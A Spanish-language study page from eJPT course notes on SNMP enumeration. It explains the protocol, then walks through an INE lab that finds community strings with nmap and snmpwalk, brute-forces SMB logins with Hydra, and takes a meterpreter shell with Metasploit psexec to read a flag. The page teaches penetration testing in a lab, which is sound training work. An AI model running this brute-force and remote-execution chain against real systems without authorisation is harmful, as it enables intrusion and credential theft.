> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/ataques-basados-en-la-red/ataques-de-red/enumeracion-snmp.md).

# Enumeración SNMP

## 🧠 ¿Qué es SNMP?

* **SNMP** (Simple Network Management Protocol) es un **protocolo ampliamente utilizado** para **monitorear y gestionar dispositivos de red** como routers, switches, impresoras, servidores, entre otros.
* Permite a los administradores de red:
  * Consultar el estado de los dispositivos.
  * Configurar ciertos parámetros.
  * Recibir alertas o "traps" ante eventos específicos.

***

## 🧩 Componentes de SNMP

SNMP es un protocolo de **capa de aplicación** que generalmente usa **UDP** como transporte. Sus componentes principales son:

* **SNMP Manager**: Sistema que consulta y gestiona agentes SNMP en dispositivos de red.
* **SNMP Agent**: Software que responde a las consultas SNMP y genera traps.
* **MIB (Management Information Base)**: Base de datos jerárquica que define los datos accesibles mediante SNMP. Cada dato se identifica con un **OID (Object Identifier)** único.

***

## 🔄 Versiones de SNMP

* **SNMPv1**: Primera versión, usa *community strings* (funcionan como contraseñas) para autenticación.
* **SNMPv2c**: Mejora la transferencia de datos (*bulk transfers*), pero sigue usando *community strings*.
* **SNMPv3**: Introduce características de seguridad como cifrado, integridad de mensajes y autenticación basada en usuarios.

***

## 🌐 Puertos utilizados

* **161/UDP**: Para consultas SNMP.
* **162/UDP**: Para recibir traps (notificaciones SNMP).

***

## 📋 Resultados Clave de la Enumeración

* **Identificar dispositivos con SNMP habilitado**: Verificar si están expuestos o mal configurados.
* **Extraer información del sistema**: Nombres de dispositivos, SO, versiones, interfaces de red, etc.
* **Identificar&#x20;*****community strings***: Detectar cadenas por defecto o débiles que permiten acceso no autorizado.
* **Obtener configuraciones de red**: Tablas de enrutamiento, interfaces, direcciones IP, etc.
* **Recoger datos de usuarios y grupos**: En algunos casos, SNMP puede revelar usuarios y permisos.
* **Identificar servicios y aplicaciones**: Detectar software en ejecución que pueda usarse como vector de ataque.

***

## 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la instancia de la GUI de Kali.

<figure><img src="/files/c46gZbQTD4SJfZ0tN3JF" alt=""><figcaption></figcaption></figure>

**Paso 2:** Verifique si la máquina/dominio es accesible.

**Dominio:**

```
ping -c 5 demo.ine.local
```

<figure><img src="/files/QYCUP4cq5LQNVE1ZW0Tq" alt=""><figcaption></figcaption></figure>

La máquina es accesible.

**Paso 3:** Verifique los puertos abiertos en la máquina.

**Dominio:**

```
nmap demo.ine.local
```

<figure><img src="/files/HvKum6FD9sCijSdW7M60" alt=""><figcaption></figcaption></figure>

Podemos observar que hay varios puertos abiertos en la máquina de destino.

**Paso 4:** Ahora, verifiquemos si el puerto SNMP está abierto o no

Debemos tener en cuenta que nmap no comprueba los puertos UDP por defecto. Como ya sabemos, SNMP se ejecuta en el puerto UDP 161.

Por lo tanto, verifiquemos si este específico está abierto.

**Dominio:**

```
nmap -sU -p 161 demo.ine.local
```

<figure><img src="/files/gVhFtW7AWCaxkKiKURs2" alt=""><figcaption></figcaption></figure>

Como podemos ver, el puerto UDP 161 está abierto. Esta información es crucial para nuestras siguientes tareas.

**Nota:** Tendremos que verificar los resultados de nmap enviando solicitudes SNMP al host y comprobando si recibimos respuestas de ambos. En ocasiones, cuando los firewalls basados ​​en host protegen los hosts, pueden confundir los resultados del análisis de nmap.

**Paso 5:** Ahora, necesitamos encontrar la cadena de comunidad del servidor SNMP para acceder al servicio de la máquina de destino.

Primero, necesitamos descubrir las cadenas de la comunidad para acceder al servicio SNMP.

Nota: Si no está familiarizado con términos SNMP como comunidades, consulte el material del curso.

Podríamos usar `snmp-brute`el script nmap para encontrar la cadena de comunidad. El script usa la `snmpcommunities.lst`lista para forzar su ubicación dentro `/usr/share/nmap/nselib/data/snmpcommunities.lst`del directorio.

**Dominio:**

```
nmap -sU -p 161 --script=snmp-brute demo.ine.local
```

<figure><img src="/files/aODJNW2DOjw1jzrOT5OA" alt=""><figcaption></figcaption></figure>

Como podemos ver, encontramos tres nombres de comunidad: pública, privada y secreta.

**Paso 6:** Ahora, ejecutemos la herramienta snmpwalk para encontrar toda la información a través de SNMP.

**snmpwalk:** snmpwalk es una aplicación SNMP que utiliza solicitudes SNMP GETNEXT para consultar un árbol de información en una entidad de red. Se puede proporcionar un identificador de objeto (OID) en la línea de comandos. Este OID especifica la porción del espacio de identificadores de objeto que se buscará mediante solicitudes GETNEXT. Se consultan todas las variables del subárbol por debajo del OID especificado y sus valores se presentan al usuario. El nombre de cada variable se proporciona en el formato especificado en las variables. Si no hay ningún argumento OID, snmpwalk buscará en el subárbol con raíz en SNMPv2-SMI::mib-2 (incluidos los valores de objeto MIB de otros módulos MIB definidos dentro de este subárbol). Si la entidad de red tiene un error al procesar el paquete de solicitud, se devolverá un paquete de error y se mostrará un mensaje que ayuda a determinar el motivo del error. Si la búsqueda en el árbol provoca que se intente buscar más allá del final de la MIB, se mostrará el mensaje "Fin de la MIB". Fuente \[<https://linux.die.net/man/1/snmpwalk>]

Estamos ejecutando el comando snmpwalk en la máquina de destino.

**Dominio:**

```
snmpwalk -v 1 -c public demo.ine.local
```

`-v`: Especifica la versión de SNMP a utilizar

`-c`:Establecer la cadena de comunidad

<figure><img src="/files/qa60BdNZGfpW83FzHNoO" alt=""><figcaption></figcaption></figure>

Logramos recopilar mucha información mediante SNMP. Sin embargo, no está en un formato legible. Necesitamos usar otras herramientas, como los scripts SNMP de nmap, para obtener información específica.

**Paso 7:** Ejecutemos todos los scripts SNMP nmap para recopilar toda la información posible a través del servicio SNMP.

**Dominio:**

```
nmap -sU -p 161 --script snmp-* demo.ine.local > snmp_output
ls
```

El comando anterior ejecutaría todos los scripts SNMP de nmap en la máquina de destino y almacenaría su salida en el `snmp_output`archivo.

<figure><img src="/files/M0DtEMw05isnAUSoGKJ1" alt=""><figcaption></figcaption></figure>

El análisis del script nmap tardará un tiempo. Espere un momento.

De la lista de información recuperada, encontramos un par de datos interesantes, como procesos en ejecución, usuarios, servicios, aplicaciones instaladas, etc.

Sin embargo, analizando los resultados, un dato interesante que pudimos extraer es la lista de usuarios de Windows:

<figure><img src="/files/02KNF2Df0zkdztCMLyzO" alt=""><figcaption></figcaption></figure>

**Paso 8:** Ahora, ejecutemos un ataque de fuerza bruta utilizando estos usuarios de Windows en el servicio SMB.

Recuerde, el puerto 445 está abierto y podemos ejecutar un ataque de fuerza bruta utilizando la herramienta Hydra.

Primero, guardemos dos nombres de usuario en un archivo. ie `administrator`y `admin`.

<figure><img src="/files/NdRXNM0zUneRkY7ComAu" alt=""><figcaption></figcaption></figure>

**Dominio:**

```
hydra -L users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt demo.ine.local smb
```

Los parámetros de Hydra se describen en la ayuda: hydra -help. Sin embargo, las partes más relevantes del comando se explican a continuación:

* `-L users.txt`:Este es el archivo de diccionario que contiene una lista de usuarios.
* `-P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt`Esto le indica a Hydra que use un archivo de diccionario con una lista de contraseñas conocidas. Este archivo (unix\_passwords.txt) pertenece a Metasploit Framework.
* `demo.ine.local`:El objetivo
* `smb`:Este es el protocolo que debe utilizar Hydra para realizar el ataque de fuerza bruta.

Después de un par de minutos, deberíamos ver los siguientes resultados:

<figure><img src="/files/frOD1udupx5PugHfknUX" alt=""><figcaption></figcaption></figure>

De esta forma, Hydra encontró exitosamente una contraseña válida para los usuarios `administrator`y `admin`.

**Paso 9:** Ahora, ejecutaremos el `psexec`módulo de explotación Metasploit para obtener la sesión de meterpreter usando estas credenciales.

Intentemos obtener un shell en este sistema usando el módulo PSExec del marco Metasploit.

**PSExec (Ejecución de Código de Usuario Autenticado de Microsoft Windows)** : Este módulo utiliza un nombre de usuario y una contraseña de administrador válidos (o un hash de contraseña) para ejecutar una carga útil arbitraria. Este módulo es similar a la utilidad "psexec" de SysInternals. Ahora, este módulo puede autolimpiarse. El servicio creado por esta herramienta utiliza un nombre y una descripción elegidos aleatoriamente. Fuente: \[<https://www.rapid7.com/db/modules/exploit/windows/smb/psexec/>]

**Comandos:**

```
msfconsole -q
use exploit/windows/smb/psexec
show options
```

<figure><img src="/files/nMakCKcxGqvttTlz4p2z" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/gKBrWbPoZ3vmk0axdKR2" alt=""><figcaption></figcaption></figure>

Como podemos ver, debemos configurar RHOSTS, SMBUSER y SMBPASS. El resto de los valores esenciales, es decir, PAYLOAD y LHOST, ya están configurados.

Establezcamos todos estos valores y explotemos el objetivo.

**Comandos:**

```
set RHOSTS demo.ine.local
set SMBUSER administrator
set SMBPASS elizabeth
exploit
```

**Nota:** Si por algún motivo no obtienes una sesión de meterpreter, vuelve a explotar el objetivo.

<figure><img src="/files/YYrBDSNti6kSvQiRQY5o" alt=""><figcaption></figcaption></figure>

Hemos obtenido con éxito la sesión de meterpreter en la máquina de destino.

**Paso 10:** Ahora, leamos la bandera.

**Comandos:**

```
shell
cd C:\
dir
type FLAG1.txt
```

<figure><img src="/files/Nv2VSBMt2NeJ3fqBrxCv" alt=""><figcaption></figcaption></figure>

**BANDERA:** a8f5f167f44f4964e6c998dee827110c

¡Hemos encontrado la bandera!

Hemos explotado con éxito la máquina objetivo extrayendo información a través del servicio SNMP.
